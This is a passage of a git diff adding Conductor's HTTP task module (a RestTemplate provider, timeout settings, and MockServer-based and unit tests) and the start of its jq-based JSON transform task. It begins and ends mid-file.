HttpComponentsClientHttpRequestFactory(httpClient); + SocketConfig.Builder builder = SocketConfig.custom(); + builder.setSoTimeout( + Timeout.of( + Optional.ofNullable(input.getReadTimeOut()).orElse(defaultReadTimeout), + TimeUnit.MILLISECONDS)); + requestFactory.setConnectTimeout( + Optional.ofNullable(input.getConnectionTimeOut()).orElse(defaultConnectTimeout)); + restTemplate.setRequestFactory(requestFactory); + return restTemplate; + } +} diff --git a/http-task/src/main/java/com/netflix/conductor/tasks/http/providers/RestTemplateProvider.java b/http-task/src/main/java/com/netflix/conductor/tasks/http/providers/RestTemplateProvider.java new file mode 100644 index 0000000..6744c0b --- /dev/null +++ b/http-task/src/main/java/com/netflix/conductor/tasks/http/providers/RestTemplateProvider.java @@ -0,0 +1,24 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.tasks.http.providers; + +import org.springframework.lang.NonNull; +import org.springframework.web.client.RestTemplate; + +import com.netflix.conductor.tasks.http.HttpTask; + +@FunctionalInterface +public interface RestTemplateProvider { + + RestTemplate getRestTemplate(@NonNull HttpTask.Input input); +} diff --git a/http-task/src/main/resources/META-INF/additional-spring-configuration-metadata.json b/http-task/src/main/resources/META-INF/additional-spring-configuration-metadata.json new file mode 100644 index 0000000..17c071f --- /dev/null +++ b/http-task/src/main/resources/META-INF/additional-spring-configuration-metadata.json @@ -0,0 +1,14 @@ +{ + "properties": [ + { + "name": "conductor.tasks.http.readTimeout", + "type": "java.lang.Integer", + "description": "The read timeout of the underlying HttpClient used by the HTTP task." + }, + { + "name": "conductor.tasks.http.connectTimeout", + "type": "java.lang.Integer", + "description": "The connection timeout of the underlying HttpClient used by the HTTP task." + } + ] +} diff --git a/http-task/src/test/java/com/netflix/conductor/tasks/http/HttpTaskTest.java b/http-task/src/test/java/com/netflix/conductor/tasks/http/HttpTaskTest.java new file mode 100644 index 0000000..68632ae --- /dev/null +++ b/http-task/src/test/java/com/netflix/conductor/tasks/http/HttpTaskTest.java @@ -0,0 +1,380 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.tasks.http; + +import java.time.Duration; +import java.time.Instant; +import java.util.Collections; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; + +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.ClassRule; +import org.junit.Test; +import org.mockserver.client.MockServerClient; +import org.mockserver.model.HttpRequest; +import org.mockserver.model.HttpResponse; +import org.mockserver.model.MediaType; +import org.testcontainers.containers.MockServerContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.DeciderService; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.utils.ExternalPayloadStorageUtils; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.tasks.http.providers.DefaultRestTemplateProvider; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.mock; + +@SuppressWarnings("unchecked") +public class HttpTaskTest { + + private static final String ERROR_RESPONSE = "Something went wrong!"; + private static final String TEXT_RESPONSE = "Text Response"; + private static final double NUM_RESPONSE = 42.42d; + + private HttpTask httpTask; + private WorkflowExecutor workflowExecutor; + private final WorkflowModel workflow = new WorkflowModel(); + + private static final ObjectMapper objectMapper = new ObjectMapper(); + private static String JSON_RESPONSE; + + @ClassRule + public static MockServerContainer mockServer = + new MockServerContainer( + DockerImageName.parse("mockserver/mockserver").withTag("mockserver-5.12.0")); + + @BeforeClass + public static void init() throws Exception { + Map map = new HashMap<>(); + map.put("key", "value1"); + map.put("num", 42); + map.put("SomeKey", null); + JSON_RESPONSE = objectMapper.writeValueAsString(map); + + final TypeReference> mapOfObj = new TypeReference<>() {}; + MockServerClient client = + new MockServerClient(mockServer.getHost(), mockServer.getServerPort()); + client.when(HttpRequest.request().withPath("/post").withMethod("POST")) + .respond( + request -> { + Map reqBody = + objectMapper.readValue(request.getBody().toString(), mapOfObj); + Set keys = reqBody.keySet(); + Map respBody = new HashMap<>(); + keys.forEach(k -> respBody.put(k, k)); + return HttpResponse.response() + .withContentType(MediaType.APPLICATION_JSON) + .withBody(objectMapper.writeValueAsString(respBody)); + }); + client.when(HttpRequest.request().withPath("/post2").withMethod("POST")) + .respond(HttpResponse.response().withStatusCode(204)); + client.when(HttpRequest.request().withPath("/failure").withMethod("GET")) + .respond( + HttpResponse.response() + .withStatusCode(500) + .withContentType(MediaType.TEXT_PLAIN) + .withBody(ERROR_RESPONSE)); + client.when(HttpRequest.request().withPath("/text").withMethod("GET")) + .respond(HttpResponse.response().withBody(TEXT_RESPONSE)); + client.when(HttpRequest.request().withPath("/numeric").withMethod("GET")) + .respond(HttpResponse.response().withBody(String.valueOf(NUM_RESPONSE))); + client.when(HttpRequest.request().withPath("/json").withMethod("GET")) + .respond( + HttpResponse.response() + .withContentType(MediaType.APPLICATION_JSON) + .withBody(JSON_RESPONSE)); + } + + @Before + public void setup() { + workflowExecutor = mock(WorkflowExecutor.class); + DefaultRestTemplateProvider defaultRestTemplateProvider = + new DefaultRestTemplateProvider(Duration.ofMillis(150), Duration.ofMillis(100)); + httpTask = new HttpTask(defaultRestTemplateProvider, objectMapper); + } + + @Test + public void testPost() { + + TaskModel task = new TaskModel(); + HttpTask.Input input = new HttpTask.Input(); + input.setUri("http://" + mockServer.getHost() + ":" + mockServer.getServerPort() + "/post"); + Map body = new HashMap<>(); + body.put("input_key1", "value1"); + body.put("input_key2", 45.3d); + body.put("someKey", null); + input.setBody(body); + input.setMethod("POST"); + input.setReadTimeOut(1000); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, input); + + httpTask.start(workflow, task, workflowExecutor); + assertEquals(task.getReasonForIncompletion(), TaskModel.Status.COMPLETED, task.getStatus()); + Map hr = (Map) task.getOutputData().get("response"); + Object response = hr.get("body"); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertTrue("response is: " + response, response instanceof Map); + Map map = (Map) response; + Set inputKeys = body.keySet(); + Set responseKeys = map.keySet(); + inputKeys.containsAll(responseKeys); + responseKeys.containsAll(inputKeys); + } + + @Test + public void testPostNoContent() { + + TaskModel task = new TaskModel(); + HttpTask.Input input = new HttpTask.Input(); + input.setUri( + "http://" + mockServer.getHost() + ":" + mockServer.getServerPort() + "/post2"); + Map body = new HashMap<>(); + body.put("input_key1", "value1"); + body.put("input_key2", 45.3d); + input.setBody(body); + input.setMethod("POST"); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, input); + + httpTask.start(workflow, task, workflowExecutor); + assertEquals(task.getReasonForIncompletion(), TaskModel.Status.COMPLETED, task.getStatus()); + Map hr = (Map) task.getOutputData().get("response"); + Object response = hr.get("body"); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertNull("response is: " + response, response); + } + + @Test + public void testFailure() { + + TaskModel task = new TaskModel(); + HttpTask.Input input = new HttpTask.Input(); + input.setUri( + "http://" + mockServer.getHost() + ":" + mockServer.getServerPort() + "/failure"); + input.setMethod("GET"); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, input); + + httpTask.start(workflow, task, workflowExecutor); + assertEquals( + "Task output: " + task.getOutputData(), TaskModel.Status.FAILED, task.getStatus()); + assertTrue(task.getReasonForIncompletion().contains(ERROR_RESPONSE)); + + task.setStatus(TaskModel.Status.SCHEDULED); + task.getInputData().remove(HttpTask.REQUEST_PARAMETER_NAME); + httpTask.start(workflow, task, workflowExecutor); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + // Without http_request key, falls back to inputData directly which lacks uri/method + assertTrue( + task.getReasonForIncompletion().contains("Missing HTTP URI") + || task.getReasonForIncompletion().contains("No HTTP method specified")); + } + + @Test + public void testPostAsyncComplete() { + + TaskModel task = new TaskModel(); + HttpTask.Input input = new HttpTask.Input(); + input.setUri("http://" + mockServer.getHost() + ":" + mockServer.getServerPort() + "/post"); + Map body = new HashMap<>(); + body.put("input_key1", "value1"); + body.put("input_key2", 45.3d); + input.setBody(body); + input.setMethod("POST"); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, input); + task.getInputData().put("asyncComplete", true); + + httpTask.start(workflow, task, workflowExecutor); + assertEquals( + task.getReasonForIncompletion(), TaskModel.Status.IN_PROGRESS, task.getStatus()); + Map hr = (Map) task.getOutputData().get("response"); + Object response = hr.get("body"); + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + assertTrue("response is: " + response, response instanceof Map); + Map map = (Map) response; + Set inputKeys = body.keySet(); + Set responseKeys = map.keySet(); + inputKeys.containsAll(responseKeys); + responseKeys.containsAll(inputKeys); + } + + @Test + public void testTextGET() { + TaskModel task = new TaskModel(); + HttpTask.Input input = new HttpTask.Input(); + input.setUri("http://" + mockServer.getHost() + ":" + mockServer.getServerPort() + "/text"); + input.setMethod("GET"); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, input); + + httpTask.start(workflow, task, workflowExecutor); + Map hr = (Map) task.getOutputData().get("response"); + Object response = hr.get("body"); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals(TEXT_RESPONSE, response); + } + + @Test + public void testNumberGET() { + TaskModel task = new TaskModel(); + HttpTask.Input input = new HttpTask.Input(); + input.setUri( + "http://" + mockServer.getHost() + ":" + mockServer.getServerPort() + "/numeric"); + input.setMethod("GET"); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, input); + + httpTask.start(workflow, task, workflowExecutor); + Map hr = (Map) task.getOutputData().get("response"); + Object response = hr.get("body"); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals(NUM_RESPONSE, response); + assertTrue(response instanceof Number); + } + + @Test + public void testJsonGET() throws JsonProcessingException { + + TaskModel task = new TaskModel(); + HttpTask.Input input = new HttpTask.Input(); + input.setUri("http://" + mockServer.getHost() + ":" + mockServer.getServerPort() + "/json"); + input.setMethod("GET"); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, input); + + httpTask.start(workflow, task, workflowExecutor); + Map hr = (Map) task.getOutputData().get("response"); + Object response = hr.get("body"); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertTrue(response instanceof Map); + Map map = (Map) response; + assertEquals(JSON_RESPONSE, objectMapper.writeValueAsString(map)); + } + + @Test + public void testExecute() { + + TaskModel task = new TaskModel(); + HttpTask.Input input = new HttpTask.Input(); + input.setUri("http://" + mockServer.getHost() + ":" + mockServer.getServerPort() + "/json"); + input.setMethod("GET"); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, input); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setScheduledTime(0); + + boolean executed = httpTask.execute(workflow, task, workflowExecutor); + assertFalse(executed); + } + + @Test + public void testHTTPGetConnectionTimeOut() { + TaskModel task = new TaskModel(); + HttpTask.Input input = new HttpTask.Input(); + Instant start = Instant.now(); + input.setConnectionTimeOut(110); + input.setMethod("GET"); + input.setUri("http://10.255.14.15"); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, input); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setScheduledTime(0); + httpTask.start(workflow, task, workflowExecutor); + Instant end = Instant.now(); + long diff = end.toEpochMilli() - start.toEpochMilli(); + assertEquals(task.getStatus(), TaskModel.Status.FAILED); + assertTrue(diff >= 110L); + } + + @Test + public void testHTTPGETReadTimeOut() { + TaskModel task = new TaskModel(); + HttpTask.Input input = new HttpTask.Input(); + input.setReadTimeOut(-1); + input.setMethod("GET"); + input.setUri("http://" + mockServer.getHost() + ":" + mockServer.getServerPort() + "/json"); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, input); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setScheduledTime(0); + + httpTask.start(workflow, task, workflowExecutor); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + } + + @Test + public void testOptional() { + TaskModel task = new TaskModel(); + HttpTask.Input input = new HttpTask.Input(); + input.setUri( + "http://" + mockServer.getHost() + ":" + mockServer.getServerPort() + "/failure"); + input.setMethod("GET"); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, input); + + httpTask.start(workflow, task, workflowExecutor); + assertEquals( + "Task output: " + task.getOutputData(), TaskModel.Status.FAILED, task.getStatus()); + assertTrue(task.getReasonForIncompletion().contains(ERROR_RESPONSE)); + assertFalse(task.getStatus().isSuccessful()); + + task.setStatus(TaskModel.Status.SCHEDULED); + task.getInputData().remove(HttpTask.REQUEST_PARAMETER_NAME); + task.setReferenceTaskName("t1"); + httpTask.start(workflow, task, workflowExecutor); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + // Without http_request key, falls back to inputData directly which lacks uri/method + assertTrue( + task.getReasonForIncompletion().contains("Missing HTTP URI") + || task.getReasonForIncompletion().contains("No HTTP method specified")); + assertFalse(task.getStatus().isSuccessful()); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setOptional(true); + workflowTask.setName("HTTP"); + workflowTask.setWorkflowTaskType(TaskType.USER_DEFINED); + workflowTask.setTaskReferenceName("t1"); + + WorkflowDef def = new WorkflowDef(); + def.getTasks().add(workflowTask); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.getTasks().add(task); + + MetadataDAO metadataDAO = mock(MetadataDAO.class); + ExternalPayloadStorageUtils externalPayloadStorageUtils = + mock(ExternalPayloadStorageUtils.class); + ParametersUtils parametersUtils = mock(ParametersUtils.class); + SystemTaskRegistry systemTaskRegistry = mock(SystemTaskRegistry.class); + + new DeciderService( + new IDGenerator(), + parametersUtils, + metadataDAO, + externalPayloadStorageUtils, + systemTaskRegistry, + Collections.emptyMap(), + Collections.emptyMap(), + Duration.ofMinutes(60)) + .decide(workflow); + } +} diff --git a/http-task/src/test/java/com/netflix/conductor/tasks/http/HttpTaskUnitTest.java b/http-task/src/test/java/com/netflix/conductor/tasks/http/HttpTaskUnitTest.java new file mode 100644 index 0000000..4e14e4f --- /dev/null +++ b/http-task/src/test/java/com/netflix/conductor/tasks/http/HttpTaskUnitTest.java @@ -0,0 +1,225 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.tasks.http; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.http.MediaType; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.tasks.http.providers.DefaultRestTemplateProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.mock; + +/** + * Unit tests for HttpTask that do not require Docker/Testcontainers. Tests input resolution (with + * and without http_request key) and accept parameter handling (single string vs list). + */ +public class HttpTaskUnitTest { + + private static final ObjectMapper objectMapper = new ObjectMapper(); + private WorkflowExecutor workflowExecutor; + private HttpTask httpTask; + private final WorkflowModel workflow = new WorkflowModel(); + + @Before + public void setup() { + workflowExecutor = mock(WorkflowExecutor.class); + DefaultRestTemplateProvider restTemplateProvider = + new DefaultRestTemplateProvider( + java.time.Duration.ofMillis(150), java.time.Duration.ofMillis(100)); + httpTask = new HttpTask(restTemplateProvider, objectMapper); + } + + // ---- Accept parameter tests (Input deserialization) ---- + + @Test + public void testAcceptDefaultValue() { + HttpTask.Input input = new HttpTask.Input(); + assertEquals("application/json", input.getAccept()); + assertEquals(1, input.getAcceptList().size()); + assertEquals("application/json", input.getAcceptList().get(0)); + } + + @Test + public void testAcceptSingleString() { + HttpTask.Input input = new HttpTask.Input(); + input.setAccept("text/plain"); + assertEquals("text/plain", input.getAccept()); + assertEquals(1, input.getAcceptList().size()); + assertEquals("text/plain", input.getAcceptList().get(0)); + } + + @Test + public void testAcceptMultipleValues() { + HttpTask.Input input = new HttpTask.Input(); + input.setAccept(Arrays.asList("application/json", "text/plain", "application/xml")); + assertEquals("application/json", input.getAccept()); + List acceptList = input.getAcceptList(); + assertEquals(3, acceptList.size()); + assertEquals("application/json", acceptList.get(0)); + assertEquals("text/plain", acceptList.get(1)); + assertEquals("application/xml", acceptList.get(2)); + } + + @Test + public void testAcceptSingleStringDeserialization() { + Map inputMap = new HashMap<>(); + inputMap.put("uri", "http://example.com"); + inputMap.put("method", "GET"); + inputMap.put("accept", "text/html"); + + HttpTask.Input input = objectMapper.convertValue(inputMap, HttpTask.Input.class); + assertEquals("text/html", input.getAccept()); + assertEquals(1, input.getAcceptList().size()); + assertEquals("text/html", input.getAcceptList().get(0)); + } + + @Test + public void testAcceptListDeserialization() { + Map inputMap = new HashMap<>(); + inputMap.put("uri", "http://example.com"); + inputMap.put("method", "GET"); + inputMap.put("accept", Arrays.asList("application/json", "text/plain")); + + HttpTask.Input input = objectMapper.convertValue(inputMap, HttpTask.Input.class); + assertEquals("application/json", input.getAccept()); + List acceptList = input.getAcceptList(); + assertEquals(2, acceptList.size()); + assertEquals("application/json", acceptList.get(0)); + assertEquals("text/plain", acceptList.get(1)); + } + + @Test + public void testAcceptMediaTypeParsing() { + HttpTask.Input input = new HttpTask.Input(); + input.setAccept(Arrays.asList("application/json", "text/plain")); + List acceptList = input.getAcceptList(); + // Verify all values are valid MediaType strings + for (String accept : acceptList) { + MediaType mediaType = MediaType.valueOf(accept); + assertNotNull(mediaType); + } + } + + // ---- Input resolution tests (http_request key vs direct input) ---- + + @Test + public void testInputWithHttpRequestKey() { + TaskModel task = new TaskModel(); + Map httpRequest = new HashMap<>(); + httpRequest.put("uri", "http://example.com"); + httpRequest.put("method", "GET"); + httpRequest.put("accept", "text/html"); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, httpRequest); + + httpTask.start(workflow, task, workflowExecutor); + assertTrue( + "Should complete successfully with http_request key", + task.getStatus() == TaskModel.Status.COMPLETED + || task.getStatus() == TaskModel.Status.IN_PROGRESS); + assertNotNull(task.getOutputData().get("response")); + } + + @Test + public void testInputWithoutHttpRequestKey() { + TaskModel task = new TaskModel(); + task.getInputData().put("uri", "http://example.com"); + task.getInputData().put("method", "GET"); + task.getInputData().put("accept", "text/html"); + + httpTask.start(workflow, task, workflowExecutor); + assertTrue( + "Should complete successfully without http_request key", + task.getStatus() == TaskModel.Status.COMPLETED + || task.getStatus() == TaskModel.Status.IN_PROGRESS); + assertNotNull(task.getOutputData().get("response")); + } + + @Test + public void testInputWithoutHttpRequestKeyAndMissingUri() { + TaskModel task = new TaskModel(); + task.getInputData().put("method", "GET"); + + httpTask.start(workflow, task, workflowExecutor); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + assertTrue( + "Should fail with missing URI", + task.getReasonForIncompletion().contains("Missing HTTP URI")); + } + + @Test + public void testInputWithoutHttpRequestKeyAndMissingMethod() { + TaskModel task = new TaskModel(); + task.getInputData().put("uri", "http://example.com"); + + httpTask.start(workflow, task, workflowExecutor); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + assertTrue( + "Should fail with missing method", + task.getReasonForIncompletion().contains("No HTTP method specified")); + } + + @Test + public void testInputDirectWithListAccept() { + TaskModel task = new TaskModel(); + task.getInputData().put("uri", "http://example.com"); + task.getInputData().put("method", "GET"); + task.getInputData().put("accept", Arrays.asList("application/json", "text/plain")); + + httpTask.start(workflow, task, workflowExecutor); + assertTrue( + "Should complete successfully with list accept and direct input", + task.getStatus() == TaskModel.Status.COMPLETED + || task.getStatus() == TaskModel.Status.IN_PROGRESS); + assertNotNull(task.getOutputData().get("response")); + } + + @Test + public void testInputHttpRequestKeyWithListAccept() { + TaskModel task = new TaskModel(); + Map httpRequest = new HashMap<>(); + httpRequest.put("uri", "http://example.com"); + httpRequest.put("method", "GET"); + httpRequest.put("accept", Arrays.asList("application/json", "application/xml")); + task.getInputData().put(HttpTask.REQUEST_PARAMETER_NAME, httpRequest); + + httpTask.start(workflow, task, workflowExecutor); + assertTrue( + "Should complete successfully with list accept and http_request key", + task.getStatus() == TaskModel.Status.COMPLETED + || task.getStatus() == TaskModel.Status.IN_PROGRESS); + assertNotNull(task.getOutputData().get("response")); + } + + @Test + public void testEmptyInputFails() { + TaskModel task = new TaskModel(); + // No input at all — falls back to empty inputData map + httpTask.start(workflow, task, workflowExecutor); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + assertTrue( + "Should fail with missing URI", + task.getReasonForIncompletion().contains("Missing HTTP URI")); + } +} diff --git a/http-task/src/test/java/com/netflix/conductor/tasks/http/providers/DefaultRestTemplateProviderTest.java b/http-task/src/test/java/com/netflix/conductor/tasks/http/providers/DefaultRestTemplateProviderTest.java new file mode 100644 index 0000000..7dba452 --- /dev/null +++ b/http-task/src/test/java/com/netflix/conductor/tasks/http/providers/DefaultRestTemplateProviderTest.java @@ -0,0 +1,59 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.tasks.http.providers; + +import java.time.Duration; + +import org.junit.Ignore; +import org.junit.Test; +import org.springframework.web.client.RestTemplate; + +import com.netflix.conductor.tasks.http.HttpTask; + +import static org.junit.Assert.*; + +public class DefaultRestTemplateProviderTest { + + @Test + public void differentObjectsForDifferentThreads() throws InterruptedException { + DefaultRestTemplateProvider defaultRestTemplateProvider = + new DefaultRestTemplateProvider(Duration.ofMillis(150), Duration.ofMillis(100)); + final RestTemplate restTemplate = + defaultRestTemplateProvider.getRestTemplate(new HttpTask.Input()); + final StringBuilder result = new StringBuilder(); + Thread t1 = + new Thread( + () -> { + RestTemplate restTemplate1 = + defaultRestTemplateProvider.getRestTemplate( + new HttpTask.Input()); + if (restTemplate1 != restTemplate) { + result.append("different"); + } + }); + t1.start(); + t1.join(); + assertEquals(result.toString(), "different"); + } + + @Test + @Ignore("We can no longer do this and have customizable timeouts per HttpTask.") + public void sameObjectForSameThread() { + DefaultRestTemplateProvider defaultRestTemplateProvider = + new DefaultRestTemplateProvider(Duration.ofMillis(150), Duration.ofMillis(100)); + RestTemplate client1 = defaultRestTemplateProvider.getRestTemplate(new HttpTask.Input()); + RestTemplate client2 = defaultRestTemplateProvider.getRestTemplate(new HttpTask.Input()); + assertSame(client1, client2); + assertNotNull(client1); + } +} diff --git a/json-jq-task/build.gradle b/json-jq-task/build.gradle new file mode 100644 index 0000000..9119e11 --- /dev/null +++ b/json-jq-task/build.gradle @@ -0,0 +1,21 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ + +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + compileOnly 'org.springframework.boot:spring-boot-starter' + + implementation "net.thisptr:jackson-jq:${revJq}" + implementation "com.github.ben-manes.caffeine:caffeine" +} diff --git a/json-jq-task/src/main/java/com/netflix/conductor/tasks/json/JsonJqTransform.java b/json-jq-task/src/main/java/com/netflix/conductor/tasks/json/JsonJqTransform.java new file mode 100644 index 0000000..69f5b2f --- /dev/null +++ b/json-jq-task/src/main/java/com/netflix/conductor/tasks/json/JsonJqTransform.java @@ -0,0 +1,160 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.tasks.json; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.github.benmanes.caffeine.cache.CacheLoader; +import com.github.benmanes.caffeine.cache.Caffeine; +import com.github.benmanes.caffeine.cache.LoadingCache; +import net.thisptr.jackson.jq.JsonQuery; +import net.thisptr.jackson.jq.Scope; + +@Component(JsonJqTransform.NAME) +public class JsonJqTransform extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(JsonJqTransform.class); + public static final String NAME = "JSON_JQ_TRANSFORM"; + private static final String QUERY_EXPRESSION_PARAMETER = "queryExpression"; + private static final String OUTPUT_RESULT = "result"; + private static final String OUTPUT_RESULT_LIST = "resultList"; + private static final String OUTPUT_ERROR = "error"; + private static final TypeReference> mapType = new TypeReference<>() {}; + private final TypeReference> listType = new TypeReference<>() {}; + private final Scope rootScope; + private final ObjectMapper objectMapper; + private final LoadingCache queryCache = createQueryCache(); + + public JsonJqTransform(ObjectMapper objectMapper) { + super(NAME); + this.objectMapper = objectMapper; + this.rootScope = Scope.newEmptyScope(); + this.rootScope.loadFunctions(Scope.class.getClassLoader()); + } + + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + final Map taskInput = task.getInputData(); + + final String queryExpression = (String) taskInput.get(QUERY_EXPRESSION_PARAMETER); + + if (queryExpression == null) { + task.setReasonForIncompletion( + "Missing '" + QUERY_EXPRESSION_PARAMETER + "' in input parameters"); + task.setStatus(TaskModel.Status.FAILED); + return; + } + + try { + final JsonNode input = objectMapper.valueToTree(taskInput); + final JsonQuery query = queryCache.get(queryExpression); + + final Scope childScope = Scope.newChildScope(rootScope); + + final List result = query.apply(childScope, input); + + task.setStatus(TaskModel.Status.COMPLETED); + if (result == null) { + task.addOutput(OUTPUT_RESULT, null); + task.addOutput(OUTPUT_RESULT_LIST, null); + } else { + List extractedResults = extractBodies(result); + if (extractedResults.isEmpty()) { + task.addOutput(OUTPUT_RESULT, null); + } else { + task.addOutput(OUTPUT_RESULT, extractedResults.get(0)); + } + task.addOutput(OUTPUT_RESULT_LIST, extractedResults); + } + } catch (final Exception e) { + LOGGER.error( + "Error executing task: {} in workflow: {}", + task.getTaskId(), + workflow.getWorkflowId(), + e); + task.setStatus(TaskModel.Status.FAILED); + final String message = extractFirstValidMessage(e); + task.setReasonForIncompletion(message); + task.addOutput(OUTPUT_ERROR, message); + } + } + + private LoadingCache createQueryCache() { + final CacheLoader loader = JsonQuery::compile; + return Caffeine.newBuilder() + .expireAfterWrite(1, TimeUnit.HOURS) + .maximumSize(1000) + .build(loader); + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + this.start(workflow, task, workflowExecutor); + return true; + } + + private String extractFirstValidMessage(final Exception e) { + Throwable currentStack = e; + final List messages = new ArrayList<>(); + messages.add(currentStack.getMessage()); + while (currentStack.getCause() != null) { + currentStack = currentStack.getCause(); + messages.add(currentStack.getMessage()); + } + return messages.stream().filter(it -> !it.contains("N/A")).findFirst().orElse(""); + } + + private List extractBodies(List nodes) { + List values = new ArrayList<>(nodes.size()); + for (JsonNode node : nodes) { + values.add(extractBody(node)); + } + return values; + } + + private Object extractBody(JsonNode node) { + if (node.isNull()) { + return null; + } else if (node.isObject()) { + return objectMapper.convertValue(node, mapType); + } else if (node.isArray()) { + return objectMapper.convertValue(node, listType); + } else if (node.isBoolean()) { + return 